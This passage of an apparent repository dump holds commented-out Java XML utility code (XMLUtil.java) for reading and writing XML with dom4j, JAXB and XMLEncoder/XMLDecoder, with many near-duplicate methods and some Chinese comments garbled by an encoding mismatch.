StringWriter();\n//\t\t\tmarshaller.marshal(root, writer);\n//\t\t\treturn writer.toString();\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/*public static void main(String[] args) {\n//\t\tXMLFactory sdFactory = new XMLFactory(BackupScheduleConfig.class);\n//\t\t// String xmlText=sdFactory.marshal(new BackupScheduleConfig(1, 1, 1, \"Y\"));\n//\t\ttry {\n//\t\t\tBackupScheduleConfig sd = sdFactory.unmarshal(new FileInputStream(new File(\"D:\\\\sale.xml\")));\n//\t\t\tSystem.out.println(sd.getScheduleEnabled());\n//\t\t} catch (FileNotFoundException e) {\n//\t\t\t// TODO Auto-generated catch block\n//\t\t\te.printStackTrace();\n//\t\t}\n//\n//\t}*/\n//\n//\tpublic void stringXMLToFile(String filePath, String content) {\n//\t\ttry {\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"UTF-8\");\n//\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n//\t\t\tDocument doc = DocumentHelper.parseText(content);\n//\t\t\txmlWriter.write(doc);\n//\t\t\txmlWriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Xml->Java\n//\t */\n//\t@SuppressWarnings(\"unchecked\")\n//\tpublic <T> T unmarshal(String xml) {\n//\t\ttry {\n//\t\t\tStringReader reader = new StringReader(xml);\n//\t\t\treturn (T) unmarshaller.unmarshal(reader);\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Xml->Java\n//\t */\n//\t@SuppressWarnings(\"unchecked\")\n//\tpublic <T> T unmarshal(InputStream in) {\n//\t\tBufferedReader br = null;\n//\t\ttry {\n//\t\t\tbr = new BufferedReader(new InputStreamReader(in, \"utf-8\"));\n//\t\t} catch (UnsupportedEncodingException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\n//\t\ttry {\n//\t\t\treturn (T) unmarshaller.unmarshal(br);\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/utils/XMLUtil.java",
    "content": "//package com.jun.plugin.utils;\n//\n//import java.beans.XMLDecoder;\n//import java.beans.XMLEncoder;\n//import java.io.BufferedReader;\n//import java.io.File;\n//import java.io.FileInputStream;\n//import java.io.FileNotFoundException;\n//import java.io.FileOutputStream;\n//import java.io.IOException;\n//import java.io.InputStream;\n//import java.io.InputStreamReader;\n//import java.io.OutputStream;\n//import java.io.StringReader;\n//import java.io.StringWriter;\n//import java.io.UnsupportedEncodingException;\n//import java.io.Writer;\n//import java.util.ArrayList;\n//import java.util.List;\n//import java.util.Vector;\n//\n//import javax.xml.bind.JAXBContext;\n//import javax.xml.bind.JAXBException;\n//import javax.xml.bind.Marshaller;\n//import javax.xml.bind.Unmarshaller;\n//import javax.xml.transform.OutputKeys;\n//import javax.xml.transform.Transformer;\n//import javax.xml.transform.TransformerFactory;\n//import javax.xml.transform.dom.DOMSource;\n//import javax.xml.transform.stream.StreamResult;\n//\n//import org.dom4j.Document;\n//import org.dom4j.DocumentException;\n//import org.dom4j.DocumentHelper;\n//import org.dom4j.io.OutputFormat;\n//import org.dom4j.io.SAXReader;\n//import org.dom4j.io.XMLWriter;\n//import org.w3c.dom.Element;\n//import org.w3c.dom.Node;\n//import org.w3c.dom.Text;\n//\n//\n///**\n// * xml的工具类\n// * @author APPle\n// *\n// */\n//public class XMLUtil {\n//\n//\n//\n//\tprivate static String filePath4 = XMLUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n//\n//\t//���ش��xml �ļ��� document ����\n//\tpublic static Document getDocument44() {\n//\n//\t\tSAXReader reader = new SAXReader();\n//\n//\t\tSystem.out.println(filePath);\n//\t\ttry {\n//\t\t\treturn reader.read(filePath);\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\treturn null;\n//\t\t}\n//\n//\t}\n//\n//\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ\n//\tpublic static void writeBack2Xml44(Document document) {\n//\n//\t\ttry {\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"UTF-8\");\n//\n//\n//\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n//\t\t\twriter.write(document);\n//\t\t\twriter.close();\n//\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\n//\t}\n//\n//\n//\t/**\n//\t * 读取xml文档方法\n//\t * @return\n//\t */\n//\tpublic static Document getDocument(){\n//\t\ttry {\n//\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n//\t\t\treturn doc;\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\n//\t/**\n//\t * 写出到xml文档中\n//\t */\n//\tpublic static void write2xml(Document doc){\n//\t\ttry {\n//\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"utf-8\");\n//\t\t\tXMLWriter writer = new XMLWriter(out,format);\n//\t\t\twriter.write(doc);\n//\t\t\twriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\tpublic static String path;\n//\n//\t/**\n//\t * 获得document对象\n//\t * @return\n//\t */\n//\tpublic static Document getDocument2() throws Exception{\n//\t\t//创建流\n//\t\tSAXReader reader = new SAXReader();\n//\t\t//解析\n//\t\treturn reader.read(path);\n//\t}\n//\n//\t/**\n//\t * 保存document对象\n//\t * @param docuemnt\n//\t */\n//\tpublic static void saveDocument(Document document) throws Exception{\n//\t\t//获得流\n//\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n//\t\twriter.write(document);\n//\t\twriter.close();\n//\t}\n//\n//\tpublic static void setPath(String path1) {\n//\t\tpath = path1;\n//\t}\n//\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\n//\t/**\n//\t * 读取xml文档方法\n//\t * @return\n//\t */\n//\tpublic static Document getDocument33(){\n//\t\ttry {\n//\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n//\t\t\treturn doc;\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\n//\t/**\n//\t * 写出到xml文档中\n//\t */\n//\tpublic static void write2xml33(Document doc){\n//\t\ttry {\n//\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"utf-8\");\n//\t\t\tXMLWriter writer = new XMLWriter(out,format);\n//\t\t\twriter.write(doc);\n//\t\t\twriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\n//\tprivate static String filePath = XMLUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n//\n//\t//���ش��xml �ļ��� document ����\n//\tpublic static Document getDocument1() {\n//\n//\t\tSAXReader reader = new SAXReader();\n//\n//\t\tSystem.out.println(filePath);\n//\t\ttry {\n//\t\t\treturn reader.read(filePath);\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\treturn null;\n//\t\t}\n//\n//\t}\n//\n//\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ\n//\tpublic static void writeBack2Xml(Document document) {\n//\n//\t\ttry {\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"UTF-8\");\n//\n//\n//\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n//\t\t\twriter.write(document);\n//\t\t\twriter.close();\n//\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\n//\t}\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n////\tprivate static String path;\n//\n//\t/**\n//\t * 获得document对象\n//\t * @return\n//\t */\n//\tpublic static Document getDocument233() throws Exception{\n//\t\t//创建流\n//\t\tSAXReader reader = new SAXReader();\n//\t\t//解析\n//\t\treturn reader.read(path);\n//\t}\n//\n//\t/**\n//\t * 保存document对象\n//\t * @param docuemnt\n//\t */\n//\tpublic static void saveDocument33(Document document) throws Exception{\n//\t\t//获得流\n//\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n//\t\twriter.write(document);\n//\t\twriter.close();\n//\t}\n//\n//\tpublic static void setPath33(String path3) {\n//\t\tpath = path3;\n//\t}\n//\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\t/**\n//\t * 获得document对象\n//\t * @return\n//\t * @throws Exception\n//\t */\n//\tpublic static Document getDocument3() throws Exception{\n//\n//\t\t//获得解析流\n//\t\tSAXReader reader = new SAXReader();\n//\n//\t\treturn reader.read(\"books.xml\");\n//\t}\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\n//\t//�����ļ���������\n//\tprivate static File file = null;\n//\n//\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n//\tstatic{\n//\t\tfile = new File(\"books.xml\");\n//\t\tif(!file.exists()){ //����ļ�������\n//\t\t\ttry {\n//\t\t\t\t//�����ļ�\n//\t\t\t\tfile.createNewFile();\n//\n//\t\t\t\t/*��ɸ�Ԫ��books*/\n//\t\t\t\t//����һ���µ��ĵ�\n//\t\t\t\tDocument document = DocumentHelper.createDocument();\n//\t\t\t\t//��Ӹ�Ԫ��\n//\t\t\t\tdocument.addElement(\"books\");\n//\t\t\t\t//����\n//\t\t\t\tsaveXml(document);\n//\n//\t\t\t} catch (Exception e) {\n//\t\t\t}\n//\t\t}\n//\t}\n//\t/**\n//\t * ���document����\n//\t * @return\n//\t * @throws Exception\n//\t */\n//\tpublic static Document getDocument4() throws Exception{\n//\t\t//��ý�����\n//\t\tSAXReader reader = new SAXReader();\n//\t\t//����ָ����xml�ļ�\n//\t\treturn reader.read(file);\n//\t}\n//\n//\t/**\n//\t * �������\n//\t * @param document\n//\t * @throws Exception\n//\t */\n//\tpublic static void saveXml(Document document) throws Exception {\n//\n//\t\t//��ʽ��\n//\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t//�������� --��ȷ������ļ�λ��\n//\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n//\t\t//��documentд�뵽ָ���ļ�\n//\t\twriter.write(document);\n//\t\t//�ر���\n//\t\twriter.close();\n//\t}\n//\n//\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\n//\n//\n//\n//\n//\tpublic static synchronized Element[] getChildElements(Element element) {\n//\t\tif (element == null) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tVector childs = new Vector();\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Element) {\n//\t\t\t\tchilds.add((Element) node);\n//\t\t\t}\n//\t\t}\n//\t\tElement[] elmt = new Element[childs.size()];\n//\t\tchilds.toArray(elmt);\n//\t\treturn elmt;\n//\t}\n//\n//\tpublic static synchronized Element[] getChildElements(Element element,\n//\t\t\tString childName) {\n//\t\tif (element == null || childName == null || childName.length() == 0) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tVector childs = new Vector();\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Element) {\n//\t\t\t\tif (node.getNodeName().equals(childName)) {\n//\t\t\t\t\tchilds.add((Element) node);\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\tElement[] elmt = new Element[childs.size()];\n//\t\tchilds.toArray(elmt);\n//\t\treturn elmt;\n//\t}\n//\n//\tpublic static synchronized Node[] getChildNodes(Node node) {\n//\t\tif (node == null) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tVector childs = new Vector();\n//\t\tfor (Node n = node.getFirstChild(); n != null; n = n.getNextSibling()) {\n//\t\t\tchilds.add((Element) n);\n//\t\t}\n//\t\tNode[] childNodes = new Element[childs.size()];\n//\t\tchilds.toArray(childNodes);\n//\t\treturn childNodes;\n//\t}\n//\n//\tpublic static synchronized Element getChildElement(Element element,\n//\t\t\tString childName) {\n//\t\tif (element == null || childName == null || childName.length() == 0) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tElement childs = null;\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Element) {\n//\t\t\t\tif (node.getNodeName().equals(childName)) {\n//\t\t\t\t\tchilds = (Element) node;\n//\t\t\t\t\tbreak;\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\treturn childs;\n//\t}\n//\n//\tpublic static synchronized Element getChildElement(Element element) {\n//\t\tif (element == null) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tElement childs = null;\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Element) {\n//\t\t\t\tchilds = (Element) node;\n//\t\t\t\tbreak;\n//\t\t\t}\n//\t\t}\n//\t\treturn childs;\n//\t}\n//\n//\tpublic static synchronized String[] getElenentValues(Element element) {\n//\t\tif (element == null) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tVector childs = new Vector();\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Text) {\n//\t\t\t\tchilds.add(node.getNodeValue());\n//\t\t\t}\n//\t\t}\n//\t\tString[] values = new String[childs.size()];\n//\t\tchilds.toArray(values);\n//\t\treturn values;\n//\t}\n//\n//\tpublic static synchronized String getElenentValue(Element element) {\n//\t\tif (element == null) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tString retnStr = null;\n//\t\tfor (Node node = element.getFirstChild(); node != null; node = node\n//\t\t\t\t.getNextSibling()) {\n//\t\t\tif (node instanceof Text) {\n//\t\t\t\tString str = node.getNodeValue();\n//\t\t\t\tif (str == null || str.length() == 0\n//\t\t\t\t\t\t|| str.trim().length() == 0) {\n//\t\t\t\t\tcontinue;\n//\t\t\t\t} else {\n//\t\t\t\t\tretnStr = str;\n//\t\t\t\t\tbreak;\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\treturn retnStr;\n//\t}\n//\n//\tpublic static synchronized Element findElementByName(Element e, String name) {\n//\t\tif (e == null || name == null || name.length() == 0) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tString nodename = null;\n//\t\tElement[] childs = getChildElements(e);\n//\t\tfor (int i = 0; i < childs.length; i++) {\n//\t\t\tnodename = childs[i].getNodeName();\n//\t\t\tif (name.equals(nodename)) {\n//\t\t\t\treturn childs[i];\n//\t\t\t}\n//\t\t}\n//\t\tfor (int i = 0; i < childs.length; i++) {\n//\t\t\tElement retn = findElementByName(childs[i], name);\n//\t\t\tif (retn != null) {\n//\t\t\t\treturn retn;\n//\t\t\t}\n//\t\t}\n//\t\treturn null;\n//\t}\n//\n//\tpublic static synchronized Element findElementByAttr(Element e,\n//\t\t\tString attrName, String attrVal) {\n//\t\treturn findElementByAttr(e, attrName, attrVal, true);\n//\t}\n//\n//\tpublic static synchronized Element findElementByAttr(Element e,\n//\t\t\tString attrName, String attrVal, boolean dept) {\n//\t\tif (e == null || attrName == null || attrName.length() == 0\n//\t\t\t\t|| attrVal == null || attrVal.length() == 0) {\n//\t\t\treturn null;\n//\t\t}\n//\t\tString tmpValue = null;\n//\t\tElement[] childs = getChildElements(e);\n//\t\tfor (int i = 0; i < childs.length; i++) {\n//\t\t\ttmpValue = childs[i].getAttribute(attrName);\n//\t\t\tif (attrVal.equals(tmpValue)) {\n//\t\t\t\treturn childs[i];\n//\t\t\t}\n//\t\t}\n//\t\tif (dept) {\n//\t\t\tfor (int i = 0; i < childs.length; i++) {\n//\t\t\t\tElement retn = findElementByAttr(childs[i], attrName, attrVal);\n//\t\t\t\tif (retn != null) {\n//\t\t\t\t\treturn retn;\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\treturn null;\n//\t}\n//\n//\n//\n//\tpublic static synchronized void setAttribute(Element e, String name,\n//\t\t\tString value) {\n//\t\tif (e == null || name == null || name.length() == 0 || value == null\n//\t\t\t\t|| value.length() == 0)\n//\t\t\treturn;\n//\t\telse\n//\t\t\te.setAttribute(name, value);\n//\t}\n//\n//\tpublic static synchronized String getAttribute(Element e, String name) {\n//\t\treturn getAttribute(e, name, null);\n//\t}\n//\n//\tpublic static synchronized String getAttribute(Element e, String name,\n//\t\t\tString defval) {\n//\t\tif (e == null || name == null || name.length() == 0)\n//\t\t\treturn defval;\n//\t\telse\n//\t\t\treturn e.getAttribute(name);\n//\t}\n//\n//\tpublic void transformerWrite(Element doc, String filename) throws Exception {\n//\t\tDOMSource doms = new DOMSource(doc);\n//\t\tFile f = new File(filename);\n//\t\tStreamResult sr = new StreamResult(f);\n//\t\ttransformerWrite(doms, sr);\n//\t}\n//\n//\tpublic void transformerWrite(Element doc, File file) throws Exception {\n//\t\tDOMSource doms = new DOMSource(doc);\n//\t\tStreamResult sr = new StreamResult(file);\n//\t\ttransformerWrite(doms, sr);\n//\t}\n//\n//\tpublic void transformerWrite(Element doc, OutputStream outstream)\n//\t\t\tthrows Exception {\n//\t\tDOMSource doms = new DOMSource(doc);\n//\t\tStreamResult sr = new StreamResult(outstream);\n//\t\ttransformerWrite(doms, sr);\n//\t}\n//\n//\tpublic void transformerWrite(Element doc, Writer outwriter)\n//\t\t\tthrows Exception {\n//\t\tDOMSource doms = new DOMSource(doc);\n//\t\tStreamResult sr = new StreamResult(outwriter);\n//\t\ttransformerWrite(doms, sr);\n//\t}\n//\n//\tpublic void transformerWrite(DOMSource doms, StreamResult sr)\n//\t\t\tthrows Exception {\n//\t\tTransformerFactory tf = TransformerFactory.newInstance();\n//\t\tTransformer t = tf.newTransformer();\n//\t\tt.setOutputProperty(OutputKeys.ENCODING, \"GBK\");\n//\t\tt.transform(doms, sr);\n//\t}\n//\n//\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\t/**\n//\t * ���ڶ�ȡxml�ļ�\n//\t * @return\n//\t */\n//\tpublic static Document getDocument55(){\n//\t\ttry {\n//\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n//\t\t\treturn doc;\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\n//\t/**\n//\t * д��xml�ļ�\n//\t */\n//\tpublic static void write2xml55(Document doc){\n//\t\ttry {\n//\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"utf-8\");\n//\t\t\tXMLWriter writer = new XMLWriter(out,format);\n//\t\t\twriter.write(doc);\n//\t\t\twriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\t/**\n//\t * ��java�Ŀ����л��Ķ���(ʵ��Serializable�ӿ�)���л����浽XML�ļ�����,�����һ�α����������л��������ü��Ͻ��з�װ ����ʱ���������ڵĶ���ԭ����XML�ļ�����\n//\t *\n//\t * @param obj\n//\t *            Ҫ���л��Ŀ����л��Ķ���\n//\t * @param fileName\n//\t *            ����ȫ�ı���·�����ļ���\n//\t * @throws FileNotFoundException\n//\t *             ָ��λ�õ��ļ�������\n//\t * @throws IOException\n//\t *             ���ʱ�����쳣\n//\t * @throws Exception\n//\t *             ��������ʱ�쳣\n//\t */\n//\tpublic static void objectXmlEncoder(Object obj, String fileName) throws FileNotFoundException, IOException, Exception {\n//\t\t// ��������ļ�\n//\t\tFile fo = new File(fileName);\n//\t\t// �ļ�������,�ʹ������ļ�\n//\t\tif (!fo.exists()) {\n//\t\t\t// �ȴ����ļ���Ŀ¼\n//\t\t\tString path = fileName.substring(0, fileName.lastIndexOf('.'));\n//\t\t\tFile pFile = new File(path);\n//\t\t\tpFile.mkdirs();\n//\t\t}\n//\t\t// �����ļ������\n//\t\tFileOutputStream fos = new FileOutputStream(fo);\n//\t\t// ����XML�ļ����������ʵ��\n//\t\tXMLEncoder encoder = new XMLEncoder(fos);\n//\t\t// �������л������XML�ļ�\n//\t\tencoder.writeObject(obj);\n//\t\tencoder.flush();\n//\t\t// �ر����л�����\n//\t\tencoder.close();\n//\t\t// �ر������\n//\t\tfos.close();\n//\t}\n//\n//\t/**\n//\t * ��ȡ��objSourceָ����XML�ļ��е����л�����Ķ���,���صĽ�����List��װ\n//\t *\n//\t * @param objSource\n//\t *            ��ȫ���ļ�·�����ļ�ȫ��\n//\t * @return ��XML�ļ����汣��Ķ��󹹳ɵ�List�б�(������һ�����߶�������л�����Ķ���)\n//\t * @throws FileNotFoundException\n//\t *             ָ���Ķ����ȡ��Դ������\n//\t * @throws IOException\n//\t *             ��ȡ�������\n//\t * @throws Exception\n//\t *             ��������ʱ�쳣����\n//\t */\n//\tpublic static List objectXmlDecoder(String objSource) throws FileNotFoundException, IOException, Exception {\n//\t\tList objList = new ArrayList();\n//\t\tFile fin = new File(objSource);\n//\t\tFileInputStream fis = new FileInputStream(fin);\n//\t\tXMLDecoder decoder = new XMLDecoder(fis);\n//\t\tObject obj = null;\n//\t\ttry {\n//\t\t\twhile ((obj = decoder.readObject()) != null) {\n//\t\t\t\tobjList.add(obj);\n//\t\t\t}\n//\t\t} catch (Exception e) {\n//\t\t\t// TODO Auto-generated catch block\n//\t\t}\n//\t\tfis.close();\n//\t\tdecoder.close();\n//\t\treturn objList;\n//\t}\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\n//\tpublic static boolean isNotNull(String param)\n//\t{\n//\t\tboolean ret = true;\n//\t\tif(null==param)\n//\t\t\tret = false;\n//\t\telse if(param.trim().length()==0)\n//\t\t{\n//\t\t\tret = false;\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\tpublic static boolean isNotNull(Integer param)\n//\t{\n//\t\tboolean ret = true;\n//\t\tif(null==param)\n//\t\t\tret = false;\n//\t\telse if(param==0)\n//\t\t{\n//\t\t\tret = false;\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\tpublic static boolean isNotNull(Long param)\n//\t{\n//\t\tboolean ret = true;\n//\t\tif(null==param)\n//\t\t\tret = false;\n//\t\telse if(param==0)\n//\t\t{\n//\t\t\tret = false;\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\t/**\n//\t * @description 去掉末尾的0\n//\t * @param strDate\n//\t * @return\n//\t */\n//\tpublic static String formatDateStr(String strDate)\n//\t{\n//\t\tString ret = strDate;\n//\t\tif(strDate!=null)\n//\t\t{\n//\t\t\tret = strDate.replaceAll(\" 00:00:00.0\", \"\");\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\n//\n//\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\t/*******************************************************************************************/\n//\n//\t/**\n//\t * ���ڶ�ȡxml�ļ�\n//\t * @return\n//\t */\n//\tpublic static Document getDocument66(){\n//\t\ttry {\n//\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n//\t\t\treturn doc;\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\n//\t/**\n//\t * д��xml�ļ�\n//\t */\n//\tpublic static void write2xml66(Document doc){\n//\t\ttry {\n//\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"utf-8\");\n//\t\t\tXMLWriter writer = new XMLWriter(out,format);\n//\t\t\twriter.write(doc);\n//\t\t\twriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\t/**\n//\t * 获得document对象\n//\t * @return\n//\t * @throws Exception\n//\t */\n//\tpublic static Document getDocument22() throws Exception{\n//\n//\t\t//获得解析流\n//\t\tSAXReader reader = new SAXReader();\n//\n//\t\treturn reader.read(\"books.xml\");\n//\t}\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\t//�����ļ���������\n//\tprivate static File file44 = null;\n//\n//\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n//\tstatic{\n//\t\tfile = new File(\"books.xml\");\n//\t\tif(!file.exists()){ //����ļ�������\n//\t\t\ttry {\n//\t\t\t\t//�����ļ�\n//\t\t\t\tfile.createNewFile();\n//\n//\t\t\t\t/*��ɸ�Ԫ��books*/\n//\t\t\t\t//����һ���µ��ĵ�\n//\t\t\t\tDocument document = DocumentHelper.createDocument();\n//\t\t\t\t//��Ӹ�Ԫ��\n//\t\t\t\tdocument.addElement(\"books\");\n//\t\t\t\t//����\n//\t\t\t\tsaveXml(document);\n//\n//\t\t\t} catch (Exception e) {\n//\t\t\t}\n//\t\t}\n//\t}\n//\t/**\n//\t * ���document����\n//\t * @return\n//\t * @throws Exception\n//\t */\n//\tpublic static Document getDocument441() throws Exception{\n//\t\t//��ý�����\n//\t\tSAXReader reader = new SAXReader();\n//\t\t//����ָ����xml�ļ�\n//\t\treturn reader.read(file);\n//\t}\n//\n//\t/**\n//\t * �������\n//\t * @param document\n//\t * @throws Exception\n//\t */\n//\tpublic static void saveXml44(Document document) throws Exception {\n//\n//\t\t//��ʽ��\n//\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t//�������� --��ȷ������ļ�λ��\n//\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n//\t\t//��documentд�뵽ָ���ļ�\n//\t\twriter.write(document);\n//\t\t//�ر���\n//\t\twriter.close();\n//\t}\n//\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\n//\n//\t/**\n//\t * 读取xml文档方法\n//\t * @return\n//\t */\n//\tpublic static Document getDocument551(){\n//\t\ttry {\n//\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n//\t\t\treturn doc;\n//\t\t} catch (DocumentException e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\n//\t/**\n//\t * 写出到xml文档中\n//\t */\n//\tpublic static void write2xml551(Document doc){\n//\t\ttry {\n//\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n//\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n//\t\t\tformat.setEncoding(\"utf-8\");\n//\t\t\tXMLWriter writer = new XMLWriter(out,format);\n//\t\t\twriter.write(doc);\n//\t\t\twriter.close();\n//\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\t//************************************************************************************\n//\n//\tprivate Marshaller marshaller;\n//\tprivate Unmarshaller unmarshaller;\n//\n//\t/**\n//\t * 参数types为所有需要序列化的Root对象的类型.\n//\t */\n//\tpublic XMLUtil(Class<?>... types) {\n//\t\ttry {\n//\t\t\tJAXBContext jaxbContext = JAXBContext.newInstance(types);\n//\t\t\tmarshaller = jaxbContext.createMarshaller();\n//\t\t\tmarshaller.setProperty(\"jaxb.formatted.output\", Boolean.TRUE);\n//\t\t\tunmarshaller = jaxbContext.createUnmarshaller();\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Java->Xml\n//\t */\n//\tpublic String marshal(Object root) {\n//\t\ttry {\n//\t\t\tStringWriter writer = new StringWriter();\n//\t\t\tmarshaller.marshal(root, writer);\n//\t\t\treturn writer.toString();\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/*public static void main(String[] args) {\n//\t\tXMLFactory sdFactory = new XMLFactory(BackupScheduleConfig.class);\n//\t\t// String xmlText=sdFactory.marshal(new BackupScheduleConfig(1, 1, 1, \"Y\"));\n//\t\ttry {\n//\t\t\tBackupScheduleConfig sd = sdFactory.unmarshal(new FileInputStream(new File(\"D:\\\\sale.xml\")));\n//\t\t\tSystem.out.println(sd.getScheduleEnabled());\n//\t\t} catch (FileNotFoundException e) {\n//\t\t\t// TODO Auto-generated catch 